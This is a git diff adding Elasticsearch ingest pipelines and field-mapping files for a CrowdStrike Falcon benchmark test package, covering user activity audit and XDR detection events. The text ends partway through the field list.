b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/user_activity_audit.yml new file mode 100644 index 0000000000..ff113aa1ea --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/user_activity_audit.yml @@ -0,0 +1,55 @@ +--- +processors: + - set: + tag: set_event_kind_de80643c + field: event.kind + value: event + - append: + field: event.category + value: iam + tag: append_iam_category + - append: + field: event.type + value: change + tag: append_change_type + - set: + field: event.action + value: user_activity_audit_event + tag: set_user_activity_audit_event + - grok: + tag: grok_crowdstrike_event_UserId_70ae09b7 + field: crowdstrike.event.UserId + patterns: + - '%{USERNAME:user.name}@%{HOSTNAME:user.domain}' + - '%{GREEDYDATA:user.name}' + ignore_missing: true + ignore_failure: true + - set: + field: user.email + copy_from: crowdstrike.event.UserId + tag: copy_user_email + if: ctx.crowdstrike?.event?.UserId != null && ctx.crowdstrike.event.UserId.indexOf("@") > 0 + - rename: + field: crowdstrike.event.OperationName + target_field: message + ignore_missing: true + tag: rename_operation_name + - rename: + field: crowdstrike.event.UserIp + target_field: source.ip + ignore_missing: true + tag: rename_user_ip + if: ctx.crowdstrike?.event?.UserIp != null && ctx.crowdstrike?.event?.UserIp != "" + +on_failure: + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/xdr_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/xdr_detection_summary.yml new file mode 100644 index 0000000000..4475e1377b --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/xdr_detection_summary.yml @@ -0,0 +1,243 @@ +--- +processors: + - set: + field: event.kind + value: alert + tag: set_event_kind + - append: + field: event.category + value: malware + tag: append_malware_category + - append: + field: event.type + value: info + tag: append_info_type + - set: + tag: set_event_action_2bbdf18c + field: event.action + value: xdr-detection + - append: + field: rule.author + value: "{{{crowdstrike.event.Author}}}" + tag: append_author + if: ctx.crowdstrike?.event?.Author != null + - rename: + tag: rename_crowdstrike_event_Name_to_rule_name_fcf360bf + field: crowdstrike.event.Name + target_field: rule.name + ignore_missing: true + - rename: + field: crowdstrike.event.DetectId + target_field: rule.id + ignore_missing: true + tag: rename_detect_id + - convert: + field: crowdstrike.event.PatternId + target_field: rule.uuid + type: string + tag: convert_pattern_id + ignore_missing: true + - rename: + field: crowdstrike.event.Description + target_field: message + ignore_missing: true + tag: rename_description + - split: + field: crowdstrike.event.DataDomains + separator: "," + tag: split_data_domains + if: ctx.crowdstrike?.event?.DataDomains != null && ctx.crowdstrike?.event?.DataDomains.contains(",") + - split: + field: crowdstrike.event.EmailAddresses + separator: "," + tag: split_email_addresses + if: ctx.crowdstrike?.event?.EmailAddresses != null && ctx.crowdstrike?.event?.EmailAddresses.contains(",") + - split: + field: crowdstrike.event.IPV4Addresses + separator: "," + target_field: related.ip + tag: split_ipv4_addresses + if: ctx.crowdstrike?.event?.IPV4Addresses != null && ctx.crowdstrike?.event?.IPV4Addresses.contains(",") + - append: + field: related.ip + value: "{{{crowdstrike.event.IPV4Addresses}}}" + allow_duplicates: false + tag: append_ipv4_addresses + if: ctx.crowdstrike?.event?.IPV4Addresses != null && !ctx.crowdstrike?.event?.IPV4Addresses.contains(",") + - split: + field: crowdstrike.event.IPV6Addresses + separator: "," + target_field: related.ip + tag: split_ipv6_addresses + if: ctx.crowdstrike?.event?.IPV6Addresses != null && ctx.crowdstrike?.event?.IPV6Addresses.contains(",") + - append: + field: related.ip + value: "{{{crowdstrike.event.IPV6Addresses}}}" + allow_duplicates: false + tag: append_ipv6_addresses + if: ctx.crowdstrike?.event?.IPV6Addresses != null && !ctx.crowdstrike?.event?.IPV6Addresses.contains(",") + - split: + field: crowdstrike.event.HostNames + separator: "," + target_field: related.hosts + tag: split_host_names + if: ctx.crowdstrike?.event?.HostNames != null && ctx.crowdstrike?.event?.HostNames.contains(",") + - append: + field: related.hosts + value: "{{{crowdstrike.event.HostNames}}}" + allow_duplicates: false + tag: append_host_names + if: ctx.crowdstrike?.event?.HostNames != null && !ctx.crowdstrike?.event?.HostNames.contains(",") + - split: + field: crowdstrike.event.DomainNames + separator: "," + target_field: related.hosts + tag: split_domain_names + if: ctx.crowdstrike?.event?.DomainNames != null && ctx.crowdstrike?.event?.DomainNames.contains(",") + - append: + field: related.hosts + value: "{{{crowdstrike.event.DomainNames}}}" + allow_duplicates: false + tag: append_domain_names + if: ctx.crowdstrike?.event?.DomainNames != null && !ctx.crowdstrike?.event?.DomainNames.contains(",") + - split: + field: crowdstrike.event.SHA256Hashes + separator: "," + target_field: related.hash + tag: split_sha256_hashes + if: ctx.crowdstrike?.event?.SHA256Hashes != null && ctx.crowdstrike?.event?.SHA256Hashes.contains(",") + - append: + field: related.hash + value: "{{{crowdstrike.event.SHA256Hashes}}}" + allow_duplicates: false + tag: append_sha256_hashes + if: ctx.crowdstrike?.event?.SHA256Hashes != null && !ctx.crowdstrike?.event?.SHA256Hashes.contains(",") + - split: + field: crowdstrike.event.MD5Hashes + separator: "," + target_field: related.hash + tag: split_md5_hashes + if: ctx.crowdstrike?.event?.MD5Hashes != null && ctx.crowdstrike?.event?.MD5Hashes.contains(",") + - append: + field: related.hash + value: "{{{crowdstrike.event.MD5Hashes}}}" + allow_duplicates: false + tag: append_md5_hashes + if: ctx.crowdstrike?.event?.MD5Hashes != null && !ctx.crowdstrike?.event?.MD5Hashes.contains(",") + - split: + field: crowdstrike.event.Users + separator: "," + target_field: related.user + tag: split_users + if: ctx.crowdstrike?.event?.Users != null && ctx.crowdstrike?.event?.Users.contains(",") + - append: + field: related.user + value: "{{{crowdstrike.event.Users}}}" + allow_duplicates: false + tag: append_users + if: ctx.crowdstrike?.event?.Users != null && !ctx.crowdstrike?.event?.Users.contains(",") + - set: + field: rule.description + copy_from: message + tag: set_rule_description + if: ctx.message != null + - convert: + field: crowdstrike.event.StartTimeEpoch + type: string + tag: convert_start_time_epoch + ignore_missing: true + if: ctx.crowdstrike?.event?.StartTimeEpoch != null + - gsub: + field: crowdstrike.event.StartTimeEpoch + pattern: "\\d{6}$" + replacement: "" + tag: gsub_start_time_epoch + if: "ctx.crowdstrike?.event?.StartTimeEpoch != null && String.valueOf(ctx.crowdstrike.event.StartTimeEpoch).length() > 18" + - date: + field: crowdstrike.event.StartTimeEpoch + target_field: event.start + timezone: UTC + formats: + - UNIX_MS + tag: date_event_start_time_epoch_ms + if: "ctx.crowdstrike?.event?.StartTimeEpoch != null && String.valueOf(ctx.crowdstrike.event.StartTimeEpoch).length() >= 12" + - date: + field: crowdstrike.event.StartTimeEpoch + target_field: event.start + timezone: UTC + formats: + - UNIX + tag: date_event_start_time_epoch + if: 'ctx.crowdstrike?.event?.StartTimeEpoch != null && String.valueOf(ctx.crowdstrike.event.StartTimeEpoch).length() <= 11' + - set: + field: '@timestamp' + copy_from: event.start + tag: copy_timestamp_from_event_start + if: ctx.event?.start != null + - convert: + field: crowdstrike.event.EndTimeEpoch + type: string + tag: convert_end_time_epoch + ignore_missing: true + if: ctx.crowdstrike?.event?.EndTimeEpoch != null + - gsub: + field: crowdstrike.event.EndTimeEpoch + pattern: "\\d{6}$" + replacement: "" + tag: gsub_end_time_epoch + if: "ctx.crowdstrike?.event?.EndTimeEpoch != null && String.valueOf(ctx.crowdstrike.event.EndTimeEpoch).length() > 18" + - date: + field: crowdstrike.event.EndTimeEpoch + target_field: event.end + timezone: UTC + formats: + - UNIX_MS + tag: date_event_end_time_epoch_ms + if: "ctx.crowdstrike?.event?.EndTimeEpoch != null && String.valueOf(ctx.crowdstrike.event.EndTimeEpoch).length() >= 12" + - date: + field: crowdstrike.event.EndTimeEpoch + target_field: event.end + timezone: UTC + formats: + - UNIX + tag: date_event_end_time_epoch + if: "ctx.crowdstrike?.event?.EndTimeEpoch != null && String.valueOf(ctx.crowdstrike.event.EndTimeEpoch).length() <= 11" + +# Threat fields: the default pipeline sets threat.framework from the threat.* fields. + - split: + field: crowdstrike.event.Techniques + separator: "," + target_field: threat.technique.name + tag: split_techniques + if: ctx.crowdstrike?.event?.Techniques != null + - split: + field: crowdstrike.event.TechniqueIds + separator: "," + target_field: threat.technique.id + tag: split_technique_ids + if: ctx.crowdstrike?.event?.TechniqueIds != null + - split: + field: crowdstrike.event.Tactics + separator: "," + target_field: threat.tactic.name + tag: split_tactics + if: ctx.crowdstrike?.event?.Tactics != null + - split: + field: crowdstrike.event.TacticIds + separator: "," + target_field: threat.tactic.id + tag: split_tactic_ids + if: ctx.crowdstrike?.event?.TacticIds != null + +on_failure: + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/agent.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/agent.yml new file mode 100644 index 0000000000..2bc58530ba --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/agent.yml @@ -0,0 +1,33 @@ +- name: cloud + title: Cloud + group: 2 + description: Fields related to the cloud or infrastructure the events are coming from. + footnote: 'Examples: If Metricbeat is running on an EC2 host and fetches data from its host, the cloud info contains the data about this machine. If Metricbeat runs on a remote machine outside the cloud and fetches data from a service running in the cloud, the field contains cloud data from the machine the service is running on.' + type: group + fields: + - name: image.id + type: keyword + description: Image ID for the cloud instance. +- name: host + title: Host + group: 2 + description: 'A host is defined as a general computing instance. ECS host.* fields should be populated with details about the host on which the event happened, or from which the measurement was taken. Host types include hardware, virtual machines, Docker containers, and Kubernetes nodes.' + type: group + fields: + - name: containerized + type: boolean + description: > + If the host is a container. + + - name: os.build + type: keyword + example: "18D109" + description: > + OS build information. + + - name: os.codename + type: keyword + example: "stretch" + description: > + OS codename, if any. + diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/base-fields.yml new file mode 100644 index 0000000000..8248c071b3 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/base-fields.yml @@ -0,0 +1,20 @@ +- name: data_stream.type + type: constant_keyword + description: Data stream type. +- name: data_stream.dataset + type: constant_keyword + description: Data stream dataset name. +- name: data_stream.namespace + type: constant_keyword + description: Data stream namespace. +- name: event.module + type: constant_keyword + description: Event module + value: crowdstrike +- name: event.dataset + type: constant_keyword + description: Event dataset + value: crowdstrike.falcon +- name: "@timestamp" + type: date + description: Event timestamp. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/beats.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/beats.yml new file mode 100644 index 0000000000..9619025555 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/beats.yml @@ -0,0 +1,9 @@ +- name: input.type + type: keyword + description: Type of Filebeat input. +- name: log.flags + type: keyword + description: Flags for the log file. +- name: log.offset + type: long + description: Offset of the entry in the log file. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/ecs.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/ecs.yml new file mode 100644 index 0000000000..9c20c2129f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/ecs.yml @@ -0,0 +1,167 @@ +# Remove this file when kibana.version satisfied ^8.14. +- name: message + external: ecs +- name: ecs.version + external: ecs +- name: event.code + external: ecs +- name: event.kind + external: ecs +- name: event.category + external: ecs +- name: event.type + external: ecs +- name: event.action + external: ecs +- name: event.original + external: ecs +- name: event.ingested + external: ecs +- name: event.created + external: ecs +- name: event.outcome + external: ecs +- name: event.url + external: ecs +- name: event.severity + external: ecs +- name: event.start + external: ecs +- name: event.end + external: ecs +- name: user.id + external: ecs +- name: user.name + external: ecs +- name: user.domain + external: ecs +- name: user.email + external: ecs +- name: threat.technique.name + external: ecs +- name: threat.technique.id + external: ecs +- name: threat.tactic.name + external: ecs +- name: threat.tactic.id + external: ecs +- name: threat.framework + external: ecs +- name: process.pid + external: ecs +- name: process.start + external: ecs +- name: process.end + external: ecs +- name: process.name + external: ecs +- name: process.command_line + external: ecs +- name: process.args + external: ecs +- name: process.executable + external: ecs +- name: process.parent.executable + external: ecs +- name: process.parent.pid + external: ecs +- name: process.parent.command_line + external: ecs +- name: process.parent.args + external: ecs +- name: device.id + external: ecs +- name: agent.name + external: ecs +- name: agent.id + external: ecs +- name: agent.type + external: ecs +- name: agent.version + external: ecs +- name: source.ip + external: ecs +- name: source.port + external: ecs +- name: destination.ip + external: ecs +- name: destination.port + external: ecs +- name: file.hash.sha1 + external: ecs +- name: file.hash.sha256 + external: ecs +- name: file.hash.md5 + external: ecs +- name: file.path + external: ecs +- name: rule.author + external: ecs +- name: rule.id + external: ecs +- name: rule.uuid + external: ecs +- name: rule.name + external: ecs +- name: rule.description + external: ecs +- name: error.message + external: ecs +- name: rule.ruleset + external: ecs +- name: rule.category + external: ecs +- name: network.direction + external: ecs +- name: network.type + external: ecs +- name: related.ip + external: ecs +- name: related.user + external: ecs +- name: related.hosts + external: ecs +- name: related.hash + external: ecs +- name: tags + external: ecs +- name: observer.vendor + external: ecs +- name: observer.product + external: ecs +- name: source.as.number + external: ecs +- name: source.as.organization.name + external: ecs +- name: source.geo.city_name + external: ecs +- name: source.geo.continent_name + external: ecs +- name: source.geo.country_iso_code + external: ecs +- name: source.geo.country_name + external: ecs +- name: source.geo.location + external: ecs +- name: source.geo.region_iso_code + external: ecs +- name: source.geo.region_name + external: ecs +- name: destination.as.number + external: ecs +- name: destination.as.organization.name + external: ecs +- name: destination.geo.city_name + external: ecs +- name: destination.geo.continent_name + external: ecs +- name: destination.geo.country_iso_code + external: ecs +- name: destination.geo.country_name + external: ecs +- name: destination.geo.location + external: ecs +- name: destination.geo.region_iso_code + external: ecs +- name: destination.geo.region_name + external: ecs diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/fields.yml new file mode 100644 index 0000000000..d5f9003cb8 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/fields.yml @@ -0,0 +1,929 @@ +- name: crowdstrike.metadata + title: Metadata fields + type: group + fields: + - name: eventType + type: keyword + description: | + DetectionSummaryEvent, FirewallMatchEvent, IncidentSummaryEvent, RemoteResponseSessionStartEvent, RemoteResponseSessionEndEvent, AuthActivityAuditEvent, or UserActivityAuditEvent + - name: offset + type: integer + description: | + Offset number that tracks the location of the event in stream. This is used to identify unique detection events. + - name: customerIDString + type: keyword + description: | + Customer identifier + - name: version + type: keyword + description: | + Schema version +- name: crowdstrike.event + title: Event fields + type: group + fields: + - name: AccountId + type: keyword + - name: AgentId + type: keyword + - name: AgentIdString + type: keyword + - name: AggregateId + type: keyword + - name: AuditKeyValues + type: group + fields: + - name: Key + type: keyword + - name: ValueString + type: keyword + - name: CloudPlatform + type: keyword + - name: CloudProvider + type: keyword + - name: CloudService + type: keyword + - name: IncidentType + type: keyword + description: | + Incident Type + - name: CompositeId + type: keyword + description: Global unique identifier that identifies a unique alert. + - name: ComputerName + type: keyword + description: | + Name of the computer where the detection occurred. + - name: Description + type: keyword + - name: DetectName + type: keyword + description: | + Name of the detection. + - name: DataDomains + type: keyword + description: | + Data domains of the event that was the primary indicator or created it. + - name: ExecutionID + type: keyword + - name: ExecutionMetadata + type: group + fields: + - name: ExecutionDuration + type: long + - name: ExecutionStart + type: date + - name: ReportFileName + type: keyword + - name: ResultCount + type: long + - name: ResultID + type: keyword + - name: SearchWindowEnd + type: date + - name: SearchWindowStart + type: date + - name: ExecutablesWritten + type: group + fields: + - name: FileName + type: keyword + - name: FilePath + type: keyword + - name: Timestamp + type: keyword + - name: FalconHostLink + type: keyword + - name: FileName + type: keyword + - name: FilePath + type: keyword + - name: FilesAccessed + type: group + fields: + - name: FileName + type: keyword + - name: FilePath + type: keyword + - name: Timestamp + type: date + - name: FilesWritten + type: group + fields: + - name: FileName + type: keyword + - name: FilePath + type: keyword + - name: Timestamp + type: date + - name: GrandparentImageFilePath + type: keyword + - name: GrandParentCommandLine + type: keyword + - name: GrandParentImageFileName + type: keyword + - name: GrandParentImageFilePath + type: keyword + - name: Hostname + type: keyword + - name: LocalIPv6 + type: ip + - name: IOARuleGroupName + type: keyword + - name: IOARuleInstanceID + type: keyword + - name: LogonDomain + type: keyword + - name: MobileAppsDetails + type: group + fields: + - name: AndroidAppLabel + type: keyword + - name: AndroidAppVersionName + type: keyword + - name: AppIdentifier + type: keyword + - name: AppInstallerInformation + type: keyword + - name: DexFileHashes + type: keyword + - name: ImageFileName + type: keyword + - name: IsBeingDebugged + type: keyword + - name: IsContainerized + type: keyword + - name: Name + type: keyword + - name: NetworkAccesses + type: group + fields: + - name: AccessTimestamp + type: keyword + - name: AccessType + type: keyword + - name: ConnectionDirection + type: keyword + - name: IsIPV6 + type: keyword + - name: LocalAddress + type: keyword + - name: LocalPort + type: keyword + - name: Protocol + type: keyword + - name: RemoteAddress + type: keyword + - name: RemotePort + type: keyword + - name: PatternDispositionDescription + type: keyword + - name: ParentImageFilePath + type: keyword + - name: ParentProcessId + type: long + - name: PlatformId + type: keyword + - name: PlatformName + type: keyword + - name: ProcessId + type: long + - name: ReferrerUrl + type: keyword + - name: Region + type: keyword + - name: ReportFileReference + type: keyword + - name: ReportID + type: keyword + - name: ReportName + type: keyword + - name: ReportType + type: keyword + - name: StatusMessage + type: keyword + - name: Type + type: keyword + description: 'The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection).' + - name: UserName + type: keyword + - name: UserUUID + type: keyword + - name: ActivityId + type: keyword + description: | + ID of the activity that triggered the detection. + - name: PolicyId + type: long + description: | + The ID of the associated Policy. + - name: AddedPrivilege + type: keyword + description: | + The difference between their current and previous list of privileges. + - name: AdditionalAccountObjectGuid + type: keyword + description: | + Additional involved user object GUID. + - name: AdditionalAccountObjectSid + type: keyword + description: | + Additional involved user object SID. + - name: AdditionalAccountUpn + type: keyword + description: | + Additional involved user UPN. + - name: SourceAccountUpn + type: keyword + description: | + Source user UPN. + - name: AdditionalActivityId + type: keyword + description: | + ID of an additional activity related to the detection. + - name: AdditionalEndpointAccountObjectGuid + type: keyword + description: | + Additional involved endpoint object GUID. + - name: SourceEndpointAccountObjectGuid + type: keyword + description: | + Source endpoint object GUID + - name: AdditionalEndpointAccountObjectSid + type: keyword + description: | + Additional involved endpoint object SID. + - name: SourceEndpointAccountObjectSid + type: keyword + description: | + Source endpoint object SID. + - name: AdditionalEndpointSensorId + type: keyword + description: | + Additional involved endpoint agent ID. + - name: SourceEndpointIpReputation + type: keyword + description: | + Source endpoint IP reputation. + - name: SourceEndpointSensorId + type: keyword + description: | + Source endpoint agent ID. + - name: AdditionalLocationCountryCode + type: keyword + description: | + Additional involved country code. + - name: AdditionalSsoApplicationIdentifier + type: keyword + description: | + Additional application identifier. + - name: SsoApplicationIdentifier + type: keyword + description: | + Destination application identifier. + - name: SuspiciousMachineAccountAlterationType + type: keyword + description: | + Machine alteration type. + - name: AnomalousTicketContentClassification + type: keyword + description: | + Ticket signature analysis. + - name: CertificateTemplateName + type: keyword + description: | + Name of the certificate template. + - name: CertificateTemplateIdentifier + type: keyword + description: | + The ID of the certificate template. + - name: AccountCreationTimeStamp + type: date + description: | + The timestamp of when the source account was created in Active Directory. + - name: XdrType + type: keyword + description: | + Type of detection: xdr or xdr-scheduled-search. + - name: IdpPolicyRuleAction + type: keyword + description: | + Identity Protection policy rule action. + - name: IdpPolicyRuleName + type: keyword + description: | + Identity Protection policy rule name. + - name: IdpPolicyRuleTrigger + type: keyword + description: | + Identity Protection policy rule trigger. + - name: LdapSearchQueryAttack + type: keyword + description: | + Detected LDAP tool attack. + - name: Severity + type: integer + description: | + The integer severity level using Crowdstrike scaling. + - name: SeverityName + type: keyword + description: | + The severity level of the detection, as a string (High/Medium/Informational). + - name: NotificationId + type: keyword + description: | + ID of the generated notification. + - name: Highlights + type: text + description: | + Sections of content that matched the monitoring rule. + - name: ItemPostedTimestamp + type: date + description: | + Time the raw intelligence was posted. + - name: MostRecentActivityTimeStamp + type: date + description: | + The timestamp of the latest activity performed by the account. + - name: PrecedingActivityTimeStamp + type: date + description: | + The timestamp of the activity before the most recent activity was performed. + - name: SourceProducts + type: keyword + description: | + Names of the products from which the source data originated. + - name: SourceVendors + type: keyword + description: | + Names of the vendors from which the source data originated. + - name: EmailAddresses + type: keyword + description: | + Summary list of all associated entity email addresses. + - name: SHA1String + type: keyword + description: | + SHA1 sum of the executable associated with the detection. + - name: SHA256String + type: keyword + description: | + SHA256 sum of the executable associated with the detection. + - name: MD5String + type: keyword + description: | + MD5 sum of the executable associated with the detection. + - name: MachineDomain + type: keyword + description: | + Domain for the machine associated with the detection. + - name: HostGroups + type: keyword + description: | + Array of related Host Group IDs. + - name: SensorId + type: keyword + description: | + Unique ID associated with the Falcon sensor. + - name: TargetAccountDomain + type: keyword + description: | + Target user domain. + - name: TargetAccountName + type: keyword + description: | + Target user name. + - name: TargetAccountObjectSid + type: keyword + description: | + Target user object SID. + - name: TargetAccountUpn + type: keyword + description: | + Target user UPN. + - name: TargetEndpointAccountObjectGuid + type: keyword + description: | + Target endpoint object GUID. + - name: TargetEndpointAccountObjectSid + type: keyword + description: | + Target endpoint object SID. + - name: TargetEndpointHostName + type: keyword + description: | + Target endpoint hostname. + - name: TargetEndpointSensorId + type: keyword + description: | + Target endpoint agent ID. + - name: TargetServiceAccessIdentifier + type: keyword + description: | + Target SPN. + - name: DetectId + type: keyword + description: | + Unique ID associated with the detection. + - name: LocalIP + type: keyword + description: | + IP address of the host associated with the detection. + - name: MACAddress + type: keyword + description: | + MAC address of the host associated with the detection. + - name: Objective + type: keyword + description: | + Method of detection. + - name: PreviousPrivileges + type: keyword + description: | + A list of the source account's privileges before privilege changes were made. + - name: ProtocolAnomalyClassification + type: keyword + description: | + Authentication signature analysis. + - name: RpcOpClassification + type: keyword + description: | + RPC operation type. + - name: PatternDispositionValue + type: integer + description: | + Unique ID associated with action taken. + - name: PatternDispositionFlags + type: group + description: | + Flags indicating actions taken. + fields: + - name: ContainmentFileSystem + type: boolean + - name: Detect + type: boolean + - name: InddetMask + type: boolean + - name: Indicator + type: boolean + - name: KillParent + type: boolean + - name: KillProcess + type: boolean + - name: KillSubProcess + type: boolean + - name: OperationBlocked + type: boolean + - name: PolicyDisabled + type: boolean + - name: ProcessBlocked + type: boolean + - name: QuarantineFile + type: boolean + - name: QuarantineMachine + type: boolean + - name: Rooting + type: boolean + - name: SensorOnly + type: boolean + - name: BootupSafeguardEnabled + type: boolean + - name: CriticalProcessDisabled + type: boolean + - name: FsOperationBlocked + type: boolean + - name: RegistryOperationBlocked + type: boolean + - name: BlockingUnsupportedOrDisabled + type: boolean + - name: HandleOperationDowngraded + type: boolean + - name: KillActionFailed + type: boolean + - name: SuspendParent + type: boolean + - name: SuspendProcess + type: boolean + - name: AssociatedFile + type: keyword + description: | + The file associated with the triggering indicator. + - name: PatternId + type: keyword + description: | + The numerical ID of the pattern associated with the action taken on the detection. + - name: Finding + type: keyword + description: | + The details of the finding. + - name: FineScore + type: float + description: | + The highest incident score reached as of the time the event was sent. + - name: UserId + type: keyword + description: | + Email address or user ID associated with the event. + - name: OperationName + type: keyword + description: | + Event subtype. + - name: RulePriority + type: keyword + description: | + Priority of the monitoring rule that found the match. + - name: ItemType + type: keyword + description: | + Type of raw intelligence. + - name: OARuleInstanceID + type: keyword + description: | + Numerical ID of the custom IOA rule under a given CID. + - name: ResourceUrl + type: keyword + description: | + The URL to the cloud resource. + - name: Tags + type: nested + description: | + Tags on the cloud resources if any. + - name: IOARuleInstanceVersion + type: long + description: | + Version number of the InstanceID that triggered. + - name: ResourceAttributes + type: flattened + description: | + A JSON blob with all resource attributes. + - name: ResourceId + type: keyword + description: | + The cloud resource identifier. + - name: ResourceIdType + type: keyword + description: | + The type of the detected resource identifier. + - name: ResourceName + type: keyword + description: | + Resource name if any. + - name: IOARuleName + type: keyword + description: | + Name given to the custom IOA rule that triggered. + - name: SELinuxEnforcementPolicy + type: keyword + description: | + State of SELinux enforcement policy on an Android device. + - name: SafetyNetErrors + type: keyword + description: | + Describes a SafetyNet error + - name: SafetyNetCTSProfileMatch + type: keyword + description: | + The result of a stricter verdict for device integrity. + - name: SafetyNetBasicIntegrity + type: keyword + description: | + The result of a more lenient verdict for device integrity. + - name: SafetyNetEvaluationType + type: keyword + description: | + Provides information about the type of measurements used to compute fields likeCTSProfileMatch and BasicIntegrity. + - name: SafetyNetErrorMessage + type: keyword + description: | + An encoded error message. + - name: SafetyNetAdvice + type: keyword + description: | + Provides information to help explain why the Google SafetyNet Attestation API set eitherCTSProfileMatch or BasicIntegrity fields to false. + - name: KeyStoreErrors + type: keyword + description: | + Describes a KeyStore error. + - name: VerifiedBootState + type: keyword + description: | + Provides the device’s current boot state. + - name: MobileAppsDetails + type: nested + description: | + Provides one or more JSON objects describing the related mobile applications. + - name: MobileNetworkConnections + type: nested + description: | + Provides one or more JSON objects describing the related network connections from the mobile device. + - name: MobileDnsRequests + type: nested + description: | + Provides one or more JSON objects describing the related DNS requests from the mobile device. + - name: MountedVolumes + type: nested + description: | + Provides one or more JSON objects describing mounted volumes on the mobile device. + - name: Trampolines + type: nested + description: | + Provides one or more JSON objects describing the relevant functions and processes performing inline API hooks. + - name: LoadedObjects + type: nested + description: | + Provides one or more JSON objects describing the loaded objects related to the detection. + - name: ObjectiveCRuntimesAltered + type: nested + description: | + Provides one or more JSON objects describing the obj-c methods related to the malware. + - name: RootAccessIndicators + type: nested + description: | + Provides one or more JSON objects which includes logs and stack traces from the suspicious source. + - name: Certificates + type: nested + description: | + Provides one or more JSON objects which includes related SSL/TLS Certificates. + - name: EnvironmentVariables + type: nested + description: | + Provides one or more JSON objects which includes related environment variables. + - name: SystemProperties + type: nested + description: | + Provides one or more JSON objects which includes related system properties. + - name: Success + type: boolean + description: | + Indicator of whether or not this event was successful. + - name: AuditKeyValues + type: nested + description: | + Fields that were changed in this event. + - name: LMHostIDs + type: keyword + normalize: + - array + description: | + Array of host IDs seen to have experienced lateral movement because of the incident. + - name: NetworkAccesses + type: nested + description: | + Detected Network traffic done by a process. + - name: ScanResults + type: nested + description: | + Array of scan results. + - name: DnsRequests + type: nested + description: | + Detected DNS requests done by a process. + - name: DocumentsAccessed + type: nested + description: | + Detected documents accessed by a process. + - name: ExecutablesWritten + type: nested + description: | + Detected executables written to disk by a process. + - name: Attributes + type: flattened + description: | + JSON objects containing additional information about the event. + - name: SessionId + type: keyword + description: | + Session ID of the remote response session. + - name: LateralMovement + type: long + description: | + Lateral movement field for incident. + - name: GrandparentImageFileName + type: keyword + description: | + Path to the grandparent process. + - name: GrandparentCommandLine + type: keyword + description: | + Grandparent process command line arguments. + - name: IOCType + type: keyword + description: | + CrowdStrike type for indicator of compromise. + - name: IOCValue + type: keyword + description: | + CrowdStrike value for indicator of compromise. + - name: Category + type: keyword + description: | + IDP incident category. + - name: NumbersOfAlerts + type: long + description: | + Number of alerts in the identity-based incident. + - name: NumberOfCompromisedEntities + type: long + description: | + Number of compromised entities, users and endpoints. + - name: ServiceName + type: keyword + description: | + Description of which related service was involved in the event. + - name: State + type: keyword + description: | + Identity-based detection or incident status. + - name: ParentImageFileName + type: keyword + description: | + The parent image file name involved. + - name: CustomerId + type: keyword + description: | + Customer identifier. + - name: DeviceId + type: keyword + description: | + Device on which the event occurred. + - name: Ipv + type: keyword + description: | + Protocol for network request. + - name: EventType + type: keyword + description: | + CrowdStrike provided event type. + - name: ICMPCode + type: keyword + description: | + RFC2780 ICMP Code field. + - name: ICMPType + type: keyword + description: | + RFC2780 ICMP Type field. + - name: RuleAction + type: keyword + description: | + Firewall rule action. + - name: MatchCount + type: long + description: | + Number of firewall rule matches. + - name: MatchCountSinceLastReport + type: long + description: | + Number of firewall rule matches since the last report. + - name: Timestamp + type: date + description: | + Firewall rule triggered timestamp. + - name: Flags.Audit + type: boolean + description: | + CrowdStrike audit flag. + - name: Flags.Log + type: boolean + description: | + CrowdStrike log flag. + - name: Flags.Monitor + type: boolean + description: | + CrowdStrike monitor flag. + - name: Protocol + type: keyword + description: | + CrowdStrike provided protocol. + - name: ScheduledSearchId + type: keyword + description: | + Unique identifier of the associated scheduled search. + - name: ScheduledSearchUserUUID + type: keyword + description: | + UUID of the user that created the the associated scheduled search. + - name: ScheduledSearchUserId + type: keyword + description: | + User ID of the user that created the the associated scheduled search. + - name: ScheduledSearchExecutionId + type: keyword + description: | + ID of the specific search execution. + - name: NetworkProfile + type: keyword + description: | + CrowdStrike network profile. + - name: PolicyName + type: keyword + description: | + CrowdStrike policy name. + - name: PolicyID + type: keyword + description: | + CrowdStrike policy id. + - 